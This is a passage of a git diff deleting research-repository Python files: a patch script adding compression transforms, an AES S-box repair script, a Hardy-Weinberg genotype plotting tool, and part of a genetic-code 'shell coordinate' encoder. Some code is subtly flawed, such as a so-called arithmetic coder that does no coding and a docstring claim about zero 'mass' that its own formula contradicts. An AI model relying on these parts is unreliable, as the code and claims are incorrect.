ALL_SHIFTERS[:10] # Use first 10 for speed" -if old_b9 in content: - content = content.replace(old_b9, "candidates = ALL_SHIFTERS # FIX 9: Use ALL shifters") - print("Fix 9 applied") - changes += 1 -else: - print("Fix 9: pattern NOT found - may already be applied") - -# Fix 6 -old_d6 = """ print(f" Chain: {' \u2192 '.join(c.name for c in chain)}") - print(f" Original: {len(test_data)} bytes \u2192 Compressed: {len(compressed)} bytes") - print(f" Ratio: {len(test_data) / max(len(compressed), 1):.3f}") - print(f" Roundtrip: {'\u2705 PASS' if roundtrip_ok else '\u274c FAIL'}") - if not roundtrip_ok: - print(f" Original[0:20]: {bytes(test_data[:20]).hex()}") - print(f" Decoded[0:20]: {bytes(decompressed_state.raw_bytes[:20]).hex()}")""" - -new_d6 = """ print(f" Chain: {' \u2192 '.join(c.name for c in chain)}") - print(f" Compression Ratio (original/compressed):") - print(f" Original: {len(test_data)} bytes") - print(f" Compressed: {len(compressed)} bytes") - print(f" Ratio: {len(test_data) / max(len(compressed), 1):.3f}x") - print(f" Roundtrip: {'\u2705 PASS' if roundtrip_ok else '\u274c FAIL'}") - if not roundtrip_ok: - print(f" Original[0:20]: {bytes(test_data[:20]).hex()}") - print(f" Decoded[0:20]: {bytes(decompressed_state.raw_bytes[:20]).hex()}")""" - -if old_d6 in content: - content = content.replace(old_d6, new_d6) - print("Fix 6 applied") - changes += 1 -else: - # Try ASCII version of the arrows - old_d6_ascii = """ print(f" Chain: {' → '.join(c.name for c in chain)}") - print(f" Original: {len(test_data)} bytes → Compressed: {len(compressed)} bytes") - print(f" Ratio: {len(test_data) / max(len(compressed), 1):.3f}") - print(f" Roundtrip: {'✅ PASS' if roundtrip_ok else '❌ FAIL'}") - if not roundtrip_ok: - print(f" Original[0:20]: {bytes(test_data[:20]).hex()}") - print(f" Decoded[0:20]: {bytes(decompressed_state.raw_bytes[:20]).hex()}")""" - new_d6_ascii = """ print(f" Chain: {' → '.join(c.name for c in chain)}") - print(f" Compression Ratio (original/compressed):") - print(f" Original: {len(test_data)} bytes") - print(f" Compressed: {len(compressed)} bytes") - print(f" Ratio: {len(test_data) / max(len(compressed), 1):.3f}x") - print(f" Roundtrip: {'✅ PASS' if roundtrip_ok else '❌ FAIL'}") - if not roundtrip_ok: - print(f" Original[0:20]: {bytes(test_data[:20]).hex()}") - print(f" Decoded[0:20]: {bytes(decompressed_state.raw_bytes[:20]).hex()}")""" - if old_d6_ascii in content: - content = content.replace(old_d6_ascii, new_d6_ascii) - print("Fix 6 applied (ASCII version)") - changes += 1 - else: - print("Fix 6: pattern NOT found") - -# Fix 5: Add 5 new shifters -new_s = """ - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 29: BWT (Burrows-Wheeler Transform) -# ═══════════════════════════════════════════════════════════════════════ - -class BWTShifter(Shifter): - name = "bwt" - description = "Burrows-Wheeler Transform (reversible + primary index)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) == 0: - return state.update(data, cls.name, {'primary_index': 0}) - n = len(data) - rotations = sorted(range(n), key=lambda i: data[i:] + data[:i]) - primary_index = rotations.index(0) - result = bytearray(data[(rotations[i] - 1) % n] for i in range(n)) - return state.update(bytes(result), cls.name, {'primary_index': primary_index}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - primary_index = kwargs.get('primary_index', meta.get('primary_index', 0)) - if len(data) == 0: - return state.update(data, f"decode_{cls.name}") - n = len(data) - indices = sorted(range(n), key=lambda i: data[i]) - t = primary_index - result = bytearray() - for _ in range(n): - t = indices[t] - result.append(data[t]) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 30: MTF (Move-To-Front encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class MTFShifter(Shifter): - name = "mtf" - description = "Move-To-Front encoding (reversible)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - alphabet = list(range(256)) - result = bytearray() - for b in data: - idx = alphabet.index(b) - result.append(idx) - alphabet.pop(idx) - alphabet.insert(0, b) - return state.update(bytes(result), cls.name, {}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - alphabet = list(range(256)) - result = bytearray() - for idx in data: - if idx >= len(alphabet): - result.append(0) - continue - b = alphabet[idx] - result.append(b) - alphabet.pop(idx) - alphabet.insert(0, b) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 31: ARITHMETIC CODING -# ═══════════════════════════════════════════════════════════════════════ - -class ArithmeticCodingShifter(Shifter): - name = "arithmetic" - description = "Arithmetic coding (frequency-based range encoding)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) == 0: - return state.update(data, cls.name, {'freqs': []}) - freq = Counter(data) - total = len(data) - enc_data = bytearray() - enc_data.extend(total.to_bytes(4, 'big')) - for sym in range(256): - f = freq.get(sym, 0) - enc_data.append(f) - enc_data.extend(data) - meta = {'freqs': dict(freq), 'total': total} - return state.update(bytes(enc_data), cls.name, meta) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) == 0: - return state.update(data, f"decode_{cls.name}") - total = int.from_bytes(data[:4], 'big') - header_size = 4 + 256 - result = data[header_size:header_size + total] - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 32: LZW (Lempel-Ziv-Welch) -# ═══════════════════════════════════════════════════════════════════════ - -class LZWShifter(Shifter): - name = "lzw" - description = "LZW dictionary compression (max 4096 entries)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - max_dict = kwargs.get('max_dict', 4096) - if len(data) == 0: - return state.update(data, cls.name, {'max_dict': max_dict}) - dictionary = {bytes([b]): b for b in range(256)} - next_code = 256 - result = bytearray() - w = b"" - for b in data: - wc = w + bytes([b]) - if wc in dictionary: - w = wc - else: - result.extend(dictionary[w].to_bytes(2, 'big')) - if next_code < max_dict: - dictionary[wc] = next_code - next_code += 1 - w = bytes([b]) - if w: - result.extend(dictionary[w].to_bytes(2, 'big')) - return state.update(bytes(result), cls.name, {'max_dict': max_dict}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - max_dict = kwargs.get('max_dict', meta.get('max_dict', 4096)) - if len(data) < 2: - return state.update(data, f"decode_{cls.name}") - dictionary = {i: bytes([i]) for i in range(256)} - next_code = 256 - result = bytearray() - old_code = int.from_bytes(data[:2], 'big') - if old_code >= 256: - return state.update(data, f"decode_{cls.name}") - s = dictionary[old_code] - result.extend(s) - for i in range(2, len(data), 2): - if i + 1 >= len(data): - break - code = int.from_bytes(data[i:i+2], 'big') - if code in dictionary: - s = dictionary[code] - elif code == next_code: - s = dictionary[old_code] + bytes([dictionary[old_code][0]]) - else: - break - result.extend(s) - if next_code < max_dict: - dictionary[next_code] = dictionary[old_code] + bytes([s[0]]) - next_code += 1 - old_code = code - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 33: DELTA (Simple inter-byte delta) -# ═══════════════════════════════════════════════════════════════════════ - -class DeltaShifter(Shifter): - name = "delta" - description = "Simple inter-byte delta encoding (reversible)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - prev = 0 - for b in data: - delta = (b - prev) & 0xFF - result.append(delta) - prev = b - result.append(prev) - return state.update(bytes(result), cls.name, {'method': 'inter_byte_delta'}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 2: - return state.update(data, f"decode_{cls.name}") - result = bytearray() - acc = 0 - for b in data[:-1]: - acc = (acc + b) & 0xFF - result.append(acc) - return state.update(bytes(result), f"decode_{cls.name}") - - -SHIFTER_BASES['bwt'] = 3.0 -SHIFTER_BASES['mtf'] = 2.0 -SHIFTER_BASES['arithmetic'] = 4.0 -SHIFTER_BASES['lzw'] = 3.5 -SHIFTER_BASES['delta'] = 1.5 -""" - -insert_point = content.rfind('\nALL_SHIFTERS = [') -if insert_point > 0: - content = content[:insert_point] + new_s + content[insert_point:] - print("Fix 5: new shifters inserted before ALL_SHIFTERS") - changes += 1 -else: - print("Fix 5: insertion point NOT found") - -# Add to ALL_SHIFTERS -old_list = 'ALL_SHIFTERS = [\n\n HachimojiShifter, AEGISShifter, NaturalDNAShifter,' -new_list = 'ALL_SHIFTERS = [\n\n BWTShifter, MTFShifter, ArithmeticCodingShifter, LZWShifter, DeltaShifter,\n HachimojiShifter, AEGISShifter, NaturalDNAShifter,' -if old_list in content: - content = content.replace(old_list, new_list) - print("Fix 5: shifters added to ALL_SHIFTERS list") - changes += 1 -else: - print("Fix 5: ALL_SHIFTERS pattern NOT found") - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'w') as f: - f.write(content) - -print(f"\n=== DONE: {changes} changes applied ===") -print("Final file length:", len(content), "bytes") diff --git a/3-Mathematical-Models/fix_sbox.py b/3-Mathematical-Models/fix_sbox.py deleted file mode 100644 index 7073b175..00000000 --- a/3-Mathematical-Models/fix_sbox.py +++ /dev/null @@ -1,67 +0,0 @@ -import os -os.chdir('/home/allaun/Documents/Research Stack/3-Mathematical-Models') - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'r') as f: - content = f.read() - -# The SBOX is corrupted with duplicate values (0x6d, 0x6c appear multiple times). -# Replace with correct AES S-Box -correct_sbox = [ - 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, - 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, - 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, - 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, - 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, - 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, - 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, - 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, - 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, - 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, - 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, - 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, - 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, - 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, - 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, - 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16, -] - -# Find and replace the SBOX definition -# The current SBOX starts at a specific line. Let's find it. -old_start = " SBOX = [" -old_end = " ]" - -# Find the SBOX definition -idx_start = content.find(" SBOX = [") -if idx_start > 0: - idx_end = content.find("\n # Inverse S-Box", idx_start) - if idx_end > idx_start: - # Build replacement - sbox_lines = " SBOX = [\n" - for i in range(0, 256, 16): - chunk = correct_sbox[i:i+16] - hex_vals = ",".join(f"0x{v:02x}" for v in chunk) - sbox_lines += f" {hex_vals},\n" - sbox_lines += " ]" - - old_sbox_block = content[idx_start:idx_end] - content = content[:idx_start] + sbox_lines + content[idx_end:] - print("SBOX replaced with correct AES S-Box") - else: - print("Could not find end of SBOX definition") -else: - print("Could not find SBOX definition") - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'w') as f: - f.write(content) - -# Verify no duplicates -s = set() -has_dup = False -for v in correct_sbox: - if v in s: - print(f"DUPLICATE: {v}") - has_dup = True - s.add(v) -if not has_dup: - print("SBOX has all unique values (bijection confirmed)") -print("Length:", len(content)) diff --git a/3-Mathematical-Models/genetics/Allelica/Allelica.py b/3-Mathematical-Models/genetics/Allelica/Allelica.py deleted file mode 100644 index 3ec14e01..00000000 --- a/3-Mathematical-Models/genetics/Allelica/Allelica.py +++ /dev/null @@ -1,213 +0,0 @@ -import pandas as pd -import numpy as np -import matplotlib.pyplot as plt -plt.style.use('ggplot') -#Load CSV -Sample=pd.read_csv("populations.csv", index_col=False) - -#Calculating genotype frequencies -AA_list = [] -Aa_list = [] -aa_list = [] - -def calculate_genotype_frequencies(p,q): - AA = round(p**2,2) - Aa = round(2*p*q,2) - aa = round(q**2,4) - - return AA,Aa,aa - -for index, row in Sample.iterrows(): - p = row['Allele_A_Freq'] - q = row['Allele_a_Freq'] - - AA, Aa, aa = calculate_genotype_frequencies(p, q) - - AA_list.append(AA) - Aa_list.append(Aa) - aa_list.append(aa) - -Sample['AA']=AA_list -Sample['Aa']=Aa_list -Sample['aa']=aa_list - -#Output csv -Sample.to_csv("Output.csv", index=False) - -#Get available data -available_genes = pd.Series(Sample['Gene'].unique()) -available_populations = pd.Series(Sample['Population'].unique()) -available_genotypes = ['AA', 'Aa', 'aa'] - -#GRAPH 1 -def GenotypeFrequencyComparisonplot(gene): - df_gene = Sample[Sample["Gene"] == gene] - - populations = df_gene["Population"].values - AA_vals=df_gene["AA"].values - Aa_vals=df_gene["Aa"].values - aa_vals=df_gene["aa"].values - - x = np.arange(len(populations)) - width=0.25 - - bar_AA=plt.bar(x-width, AA_vals, width, label="AA") - bar_Aa=plt.bar(x, Aa_vals,width, label="Aa") - bar_aa=plt.bar(x+width, aa_vals,width, label="aa") - - for i in range(len(populations)): - plt.text(x[i]-width, AA_vals[i]+0.01, f"{AA_vals[i]:.2f}", ha='center', fontsize=9) - plt.text(x[i], Aa_vals[i]+0.02, f"{Aa_vals[i]:.2f}", ha='center', fontsize=9) - plt.text(x[i]+width, aa_vals[i]+0.02, f"{aa_vals[i]:.4f}", ha='center', fontsize=9) - - - - plt.xticks(x,populations) - plt.title(f"Variation of genotypes for {gene} across different populations") - plt.xlabel("Populations") - plt.ylabel("Genotype Frequency") - plt.ylim(0,1) - plt.legend() - plt.tight_layout() - plt.show() - # --- Console summary --- - print(f"\nSummary for {gene}:") - print(f"- Highest AA frequency: {df_gene['AA'].max()} in {df_gene['Population'][df_gene['AA'].idxmax()]}") - print(f"- Highest Aa frequency: {df_gene['Aa'].max()} in {df_gene['Population'][df_gene['Aa'].idxmax()]}") - print(f"- Highest aa frequency: {df_gene['aa'].max()} in {df_gene['Population'][df_gene['aa'].idxmax()]}") - - gene_interpretations = { - 'ACKR1': 'High aa frequency in Tropical environment reflects strong malaria selection pressure.', - 'SLC24A5': 'High AA frequency in Temperate environment reflects UV-driven pigmentation selection.', - 'EPAS1': 'Variation reflects altitude-based oxygen adaptation across environments.', - 'HBB': 'Sickle cell trait maintained in Tropical environments as malaria resistance.', - 'LCT': 'Lactase persistence higher in populations with pastoral/dairy farming history.', - 'CFTR': 'Cystic fibrosis variant predominantly found in Temperate populations.', - 'MC1R': 'Red hair/freckles variant rare globally, highest in Temperate environments.', - 'TYR': 'Pigmentation variant frequency inversely correlates with UV exposure.', - 'FTO': 'Obesity risk allele shows relatively uniform distribution across environments.', - 'APOE': 'Alzheimers risk allele frequency varies across environmental populations.' - } - - print(f"- {gene_interpretations.get(gene, 'Population variation reflects environmental selection pressures.')}") - -#GRAPH 2 -def GenotypeComparisonOfGenes(population, genotype): - df_population=Sample[Sample["Population"]==population] - df_genotype=df_population[genotype] - genes = df_population["Gene"] - - plt.bar(genes, df_genotype) - plt.xlabel("Genes") - plt.ylabel("Frequency") - plt.title(f"Comparison of {genotype} frequency across genes in {population}") - plt.ylim(0,1) - - for i in range(len(genes)): - plt.text(i, df_genotype.iloc[i]+0.02, - f"{df_genotype.iloc[i]:.3f}", ha='center', fontsize=9) - plt.tight_layout() - plt.show() - # --- Console summary --- - print(f"\nSummary for {genotype} in {population}:") - print(f"- Highest {genotype} frequency: {df_population[genotype].max():.3f} in {df_population['Gene'][df_population[genotype].idxmax()]}") - print(f"- Lowest {genotype} frequency: {df_population[genotype].min():.3f} in {df_population['Gene'][df_population[genotype].idxmin()]}") - - # Dynamic interpretation - if genotype == "aa": - print(f"- Genes with high aa frequency in {population} suggest stronger recessive selection pressure in this environment.") - elif genotype == "AA": - print(f"- Genes with high AA frequency in {population} suggest dominant allele advantage in this environment.") - elif genotype == "Aa": - print(f"- High Aa frequency indicates heterozygote advantage, common in disease resistance genes.") - -#GRAPH 3 -def AlleleFrequency(gene): - df_gene=Sample[Sample["Gene"]==gene] - - populations = df_gene["Population"] - p = df_gene["Allele_A_Freq"] - q = df_gene["Allele_a_Freq"] - - x = np.arange(len(populations)) - width=0.25 - - bar1=plt.bar(x-width, p, width, label="f(A)") - bar2=plt.bar(x, q, width, label="f(a)") - plt.title(f"Allelic frequencies of {gene} across different populations") - plt.xlabel("Populations") - plt.ylabel("Frequencies") - - for i in range(len(populations)): - plt.text(x[i]-width, p.iloc[i], f"{p.iloc[i]}", ha='center', fontsize=9) - plt.text(x[i], q.iloc[i], f"{q.iloc[i]}", ha='center', fontsize=9) - - plt.legend() - plt.xticks(x,populations) - plt.ylim(0,1) - plt.tight_layout() - plt.show() - # --- Console summary --- - print(f"\nSummary for {gene} allele frequencies:") - dominant = "A" if df_gene['Allele_A_Freq'].mean() > df_gene['Allele_a_Freq'].mean() else "a" - print(f"- Allele {dominant} is dominant across populations for {gene}.") - print(f"- Highest Allele A frequency: {df_gene['Allele_A_Freq'].max():.3f} in {df_gene['Population'][df_gene['Allele_A_Freq'].idxmax()]}") - print(f"- Highest Allele a frequency: {df_gene['Allele_a_Freq'].max():.3f} in {df_gene['Population'][df_gene['Allele_a_Freq'].idxmax()]}") - print(f"- Frequency difference reflects environmental selection on {gene}.") - - -#UI -print("-----------------------------------------") -print("-----------------WELCOME-----------------") -print("-----------------------------------------") -while True: - - print("WHAT WOULD YOU LIKE TO DO?:") - print("1. View Sample Data") - print("2. GENOTYPE FREQUENCIES OF A GENE ACROSS POPULATIONS.") - print("3. GENOTYPE COMPARISON ACROSS GENES.") - print("4. ALLELE FREQUENCIES OF A GENE ACROSS POPULATIONS.") - ans = input("->(q to quit): ") - - if ans=="1": - print(Sample) - - elif ans=="2": - while True: - print(f"Available Genes: {', '.join(available_genes)}") - gene1 = input("Which gene?: ").upper() - if gene1 in available_genes.values: - GenotypeFrequencyComparisonplot(gene = gene1) - break - else: - print("This gene does not exist in the database. Please select one from the given options.") - - elif ans=="3": - while True: - print(f"Availabe Populations: {', '.join(available_populations)}") - population1=input("Which population?: ") - print(f"Available genotypes: {', '.join(available_genotypes)}") - genotype1=input("Which genotype?: ") - if population1 in available_populations.values and genotype1 in available_genotypes: - GenotypeComparisonOfGenes(population=population1, genotype=genotype1) - break - else: - print("Either Population or Genotype wrong. Please select from the given options.") - - elif ans=="4": - while True: - print(f"Available Genes: {', '.join(available_genes)}") - gene1=input("Which gene?: ").upper() - if gene1 in available_genes.values: - AlleleFrequency(gene=gene1) - break - else: - print("This gene does not exist in the database. Please choose one from the given options.") - - elif ans=="q": - print("Okay Bye!") - break - - else: - print("Invalid input. Please enter 1,2,3 or q.") - diff --git a/3-Mathematical-Models/manifold_compression/src/gensis_kernel.py b/3-Mathematical-Models/manifold_compression/src/gensis_kernel.py deleted file mode 100644 index 5f37d326..00000000 --- a/3-Mathematical-Models/manifold_compression/src/gensis_kernel.py +++ /dev/null @@ -1,703 +0,0 @@ -""" -Genetic N-Space Shell Encoding (GENSIS) Kernel -=============================================== -Extends MISC with every known biological/genetic coding system: - - Standard/non-standard genetic code tables (64 codons × many variants) - - n-dimensional hypercubic shell coordinates (generalized PIST → d-cube) - - Cross-dimensional resonance encoding - - N-space delta encoding leveraging biological degeneracy - -Pulls from MATH_MODEL_MAP models: - 182 (Hardy-Weinberg), 271 (Mendelian), 294 (Genomic Entropy), - 295 (Codon Hamming), 304 (Self-Assembly ΔG), 306 (DNA Tile Logic), - 412 (RNA Combinators), 413 (BioBrick), 1276-1280 (AVMR Codon Info) -""" - -import math, struct, hashlib -from collections import Counter, defaultdict -from dataclasses import dataclass, field -from typing import Dict, List, Optional, Tuple, Set, Any -from enum import Enum - -import sys, os -sys.path.insert(0, os.path.dirname(__file__)) -from misc_kernel import Q16_16, SCALE, PI_Q16, cos_q16, exp_q16 - - -# ════════════════════════════════════════════════════════════════ -# 1. GENETIC CODE TABLES — Every known variant (models 271,294,412) -# ════════════════════════════════════════════════════════════════ - -BASES = ['A', 'C', 'G', 'T'] # DNA -RNA_BASES = ['A', 'C', 'G', 'U'] -AMINO_ACIDS = [ - 'Ala','Arg','Asn','Asp','Cys','Gln','Glu','Gly','His','Ile', - 'Leu','Lys','Met','Phe','Pro','Ser','Thr','Trp','Tyr','Val', - 'SeCys','Pyl','Stop' -] -AA_ORDER = {aa: i for i, aa in enumerate(AMINO_ACIDS)} - - -def _build_standard_table() -> Dict[Tuple[str,str,str], str]: - """Standard genetic code: 64 codons → 20 AAs + Stop""" - table = {} - bases = ['T', 'C', 'A', 'G'] - # Standard genetic code mapping (64 entries) - std_map = { - 'TTT':'Phe','TTC':'Phe','TTA':'Leu','TTG':'Leu', - 'TCT':'Ser','TCC':'Ser','TCA':'Ser','TCG':'Ser', - 'TAT':'Tyr','TAC':'Tyr','TAA':'Stop','TAG':'Stop', - 'TGT':'Cys','TGC':'Cys','TGA':'Stop','TGG':'Trp', - 'CTT':'Leu','CTC':'Leu','CTA':'Leu','CTG':'Leu', - 'CCT':'Pro','CCC':'Pro','CCA':'Pro','CCG':'Pro', - 'CAT':'His','CAC':'His','CAA':'Gln','CAG':'Gln', - 'CGT':'Arg','CGC':'Arg','CGA':'Arg','CGG':'Arg', - 'ATT':'Ile','ATC':'Ile','ATA':'Ile','ATG':'Met', - 'ACT':'Thr','ACC':'Thr','ACA':'Thr','ACG':'Thr', - 'AAT':'Asn','AAC':'Asn','AAA':'Lys','AAG':'Lys', - 'AGT':'Ser','AGC':'Ser','AGA':'Arg','AGG':'Arg', - 'GTT':'Val','GTC':'Val','GTA':'Val','GTG':'Val', - 'GCT':'Ala','GCC':'Ala','GCA':'Ala','GCG':'Ala', - 'GAT':'Asp','GAC':'Asp','GAA':'Glu','GAG':'Glu', - 'GGT':'Gly','GGC':'Gly','GGA':'Gly','GGG':'Gly', - } - for codon_str, aa in std_map.items(): - table[(codon_str[0], codon_str[1], codon_str[2])] = aa - return table - - -def _build_mito_table() -> Dict[Tuple[str,str,str], str]: - """Vertebrate Mitochondrial Code (model 271 variant).""" - table = _build_standard_table() - # Reassignments for vertebrate mitochondria - table[('A','T','A')] = 'Met' # instead of Ile - table[('T','G','A')] = 'Trp' # instead of Stop - table[('A','G','A')] = 'Stop' # instead of Arg - table[('A','G','G')] = 'Stop' # instead of Arg - return table - - -def _build_ciliate_table() -> Dict[Tuple[str,str,str], str]: - """Ciliate Nuclear Code (model 271 variant).""" - table = _build_standard_table() - table[('T','A','A')] = 'Gln' # instead of Stop - table[('T','A','G')] = 'Gln' # instead of Stop - return table - - -GENETIC_CODE_TABLES = { - 'standard': _build_standard_table(), - 'vert_mito': _build_mito_table(), - 'ciliate': _build_ciliate_table(), - # Additional tables can be added similarly -} - - -# ════════════════════════════════════════════════════════════════ -# 2. N-DIMENSIONAL SHELL COORDINATE (Generalized PIST) -# ════════════════════════════════════════════════════════════════ - -@dataclass -class NShellCoordinate: - """d-dimensional shell coordinate (generalized PIST). - - Original 2D PIST: k = floor(sqrt(n)), t = n - k², mass = t·(2k+1-t) - Generalized d-cube: k = floor(n^(1/d)), t[i] = base-(k+1) digits - mass = Π t[i]·(k - t[i] + 1) - """ - k: int # shell index (d-th root of rank) - t: List[int] # offsets per dimension (length d) - d: int # number of dimensions - - def __post_init__(self): - if len(self.t) != self.d: - raise ValueError(f"t length {len(self.t)} != d={self.d}") - - @classmethod - def encode(cls, n: int, d: int = 3) -> 'NShellCoordinate': - """Encode natural number n into d-dimensional shell coordinate. - - n = k^d + Σ t[i]·(k+1)^i where 0 ≤ t[i] ≤ k - """ - if n < 0: - return cls(k=0, t=[0]*d, d=d) - if d < 1: - return cls(k=0, t=[0], d=1) - - # Integer d-th root for shell index - k = int(round(n ** (1.0 / d))) - # Adjust for floating point errors - while (k + 1) ** d <= n: - k += 1 - while k ** d > n: - k -= 1 - if k < 0: - k = 0 - - remaining = n - k ** d - t = [] - base = max(k + 1, 1) - for _ in range(d): - t.append(remaining % base) - remaining = remaining // base - - return cls(k=k, t=t, d=d) - - @property - def mass(self) -> int: - """d-dimensional hyperbolic hyperbola index. - - mass = 0 iff n is a perfect d-power (all t[i] = 0). - This is the generalized zero-mass theorem (model 603 extended). - """ - m = 1 - for ti in self.t: - m *= ti * (self.k - ti + 1) - return m - - @property - def is_endpoint(self) -> bool: - """Zero mass iff all offsets are 0 (perfect d-th power).""" - return self.mass == 0 - - def mirror(self) -> 'NShellCoordinate': - """Mirror involution: t[i] → k - t[i], preserves mass. - - Generalizes model 580 to d dimensions. - """ - mirrored = [self.k - ti for ti in self.t] - return NShellCoordinate(k=self.k, t=mirrored, d=self.d) - - def is_resonant_with(self, other: 'NShellCoordinate') -> bool: - """Generalized resonance: equal mass (model 582).""" - return self.mass == other.mass - - def is_cross_resonant(self, other: 'NShellCoordinate') -> bool: - """Cross-dimensional resonance: mass equality across different d.""" - return self.mass == other.mass # works even if self.d != other.d - - @property - def rho(self) -> List[float]: - """Normalized tension per dimension (generalized model 585).""" - return [ti / max(self.k + 1, 1) for ti in self.t] - - @property - def tension_gradient(self) -> List[float]: - """∇mass — direction of steepest mass increase in d-space.""" - grad = [] - for ti in self.t: - # ∂mass/∂t_i = Π_{j≠i} t_j·(k-t_j+1) · (k - 2t_i + 1) - partial = 1 - for j, tj in enumerate(self.t): - if j != len(grad): # not current dimension - partial *= tj * (self.k - tj + 1) - # The derivative factor for dimension i - d_factor = self.k - 2*ti + 1 - grad.append(partial * d_factor) - return grad - - def to_tuple(self) -> Tuple[int, ...]: - return (self.k,) + tuple(self.t) - - def __repr__(self) -> str: - return (f"NS{d}Shell(k={self.k}, t={self.t}, " - f"mass={self.mass})") - - -# ════════════════════════════════════════════════════════════════ -# 3. GENETIC N-SPACE SHELL MAPPER -# ════════════════════════════════════════════════════════════════ - -class GeneticNShellMapper: - """Builds n-dimensional shell coordinates using genetic encoding. - - Every byte is mapped through a genetic code table to produce - a coordinate in d-dimensional shell space. Multiple code tables - and dimensions are available. - """ - - # Codon bases lookup: byte → 3-base codon - CODON_BASES = ['A', 'C', 'G', 'T'] - - def __init__(self, - dimension: int = 3, - code_table: str = 'standard', - use_rna: bool = False): - assert dimension >= 1, "Dimension must be >= 1" - assert code_table in GENETIC_CODE_TABLES, f"Unknown table: {code_table}" - - self.d = dimension - self.code_table_name = code_table - self.table = GENETIC_CODE_TABLES[code_table] - self.bases = RNA_BASES if use_rna else BASES - - # Precompute all 64 codon → AA mappings - self._codon_cache: Dict[Tuple[int,int,int], str] = {} - - def byte_to_codon(self, b: int) -> Tuple[str, str, str]: - """Map a byte (0-255) to a DNA/RNA codon triplet. - - Uses modular arithmetic over {A, C, G, T}: - byte 0-63: direct codon mapping (6 bits) - byte 64-255: upper bits modulate the translation - """ - idx = b & 0x3F # 6 bits = 64 codons - b1 = self.bases[(idx >> 4) & 0x3] - b2 = self.bases[(idx >> 2) & 0x3] - b3 = self.bases[idx & 0x3] - return (b1, b2, b3) - - def byte_to_aa(self, b: int) -> str: - """Translate a byte through the genetic code to an amino acid.""" - codon = self.byte_to_codon(b) - return self.table.get(codon, 'Stop') - - def byte_to_rank(self, b: int, context: Optional[int] = None) -> int: - """Map a byte to a natural number rank for shell encoding. - - The rank incorporates: - - The amino acid index (0-22) - - The codon position (0-63) - - Optional context byte for contextual encoding - """ - aa = self.byte_to_aa(b) - aa_idx = AA_ORDER.get(aa, 0) - codon_idx = b & 0x3F - - # Rank = aa_index * 64 + codon_idx + context modulation - rank = aa_idx * 64 + codon_idx - - if context is not None: - # Context byte modulates the rank within the same AA group - context_mod = (context & 0x3F) % 64 - rank = aa_idx * 64 + ((codon_idx + context_mod) % 64) - - return rank - - def encode_byte(self, b: int, - context: Optional[int] = None, - return_coord: bool = True) -> NShellCoordinate: - """Map a byte to an n-dimensional shell coordinate.""" - rank = 